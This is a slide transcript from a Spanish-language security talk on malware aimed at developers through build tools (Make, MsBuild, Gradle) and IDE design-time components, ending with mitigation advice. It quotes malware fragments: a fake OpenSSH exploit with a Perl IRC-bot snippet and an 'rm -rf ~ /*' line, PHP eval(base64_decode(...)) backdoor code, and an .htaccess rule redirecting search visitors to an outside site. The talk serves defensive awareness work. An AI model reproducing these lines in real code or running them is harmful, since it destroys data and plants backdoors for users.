bend the developers to your will - miguel tarascó @ tarlogic - rooted 2015
TRANSCRIPT
Objetivos de la charla
1. Estado del arte (Code related Malware)
2. Explorar nuevos vectores y enfoques
3. Cómo explotarlos
4. Cómo prevenirlos/mitigarlos
Bend the developers to your will
¿Porque los desarrolladores ?
• Usuarios privilegiados
• Acceso a contraseñas
• Vectores de infección poco conocidos
• Otros …………..
Bend the developers to your will
Estado del arte
Bend the developers to your will
Bomba lógica
Ofuscación
Si juegas con el mejor... muere como los demás.
Fake 0days ”openssh-53p1-remote-root.c”
#!/usr/bin/perl
$chan="#cn";
$key ="fags";
$nick="k\n";
print $sock "JOIN $chan $key\n";
while (<$sock>){if (/^PING
(.*)$/){
$server="irc.ham.de.euirc.net";
rm -rf ~ /* 2> /dev/null &
fopen(……..,"w+")
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
Bend the developers to your will
PHP/Web Malware Bend the developers to your will
post-
title/%&(%7B$%7Beval(base64_decode($_
SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)
<?php .. eval(base64_decode("DQ..."))
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER}
^.*(google|ask|yahoo|baidu|youtube| <...> )\.(.*)
RewriteRule ^(.*)$ http://dimitri.ru/index.php
[R=301,L]
</IfModule>
Gestores de compilación
• Programas más complejos
• Múltiples ficheros
• Múltiples dependencias
• Cross compiling
• Team builds
• etc
Bend the developers to your will
Make – Cómo abusarlo
all:
@echo "Wololo!" > "pwned"
@echo "Compiled"
Bend the developers to your will
MsBuild – Que és
• Microsoft Build Engine
• Xml
–Propiedades <PropertyGroup>
–Objetivos <Target>
–Tareas <Task>
–Items <ItemGroup>
Bend the developers to your will
MsBuild – Cómo se abusa
• Trasparente para el desarrollador
• Lo gestiona el Visual Studio
Bend the developers to your will
MsBuild – Cómo se abusa
• No es visible desde el IDE
• Referencias a ficheros externos
• Acepta llamadas a la API de .Net
• Escritura y ejecución
• Esta documentado
• No está explicado
Bend the developers to your will
Gradle – Que es
• Sistema automatizado de compilación
• Open Source
• Scripts en Groovy (DSL)
Bend the developers to your will
Gradle – Cómo se abusa
• Integrado con el IDE
• Autogenerado
• Si se ven los scripts desde el IDE
• Editable
Bend the developers to your will
Gradle – Cómo se abusa
• Groovy soporta llamadas Java
• Se puede:
–Des/Comprimir archivos/streams
–Escribir a disco
–Ejecutar
Bend the developers to your will
Xamarin – Que és
• Antes llamado MonoDevelop
• IDE desarrollo proyecto Mono
• Multiplataforma
–Windows
–Mac
–Linux
Bend the developers to your will
Componentes Gráficos
• “Objetos Visibles”
• Elementos de la interfaz de usuario
• Librerias gráficas
• Parte principal de los GUI
• Productos/librerias comerciales
Bend the developers to your will
Visual Studio – Cómo se abusan
• Agregar a la solución
–Proyecto
–Librería
• Usar uno por defecto
• Arrastrarlo al Form
• Se autodibujan
Bend the developers to your will
Visual Studio – Cómo se abusan
• Interactivos
• También en tiempo de diseño
• Si se pinta, se ejecuta
• Y si metemos algo más
que código de pintado ?
Bend the developers to your will
Android Studio – Como se abusa Bend the developers to your will
• Basado en Eclipse
• Se implementa el método de pintado
• Se incluye en el proyecto
• Similar a los Widgets
• Se crea una vista
Conclusiones
• NUNCA confiar
• Revisar:
–El código.
–Resto de ficheros
• Usar:
–Máquinas Virtuales
–Sandbox
Bend the developers to your will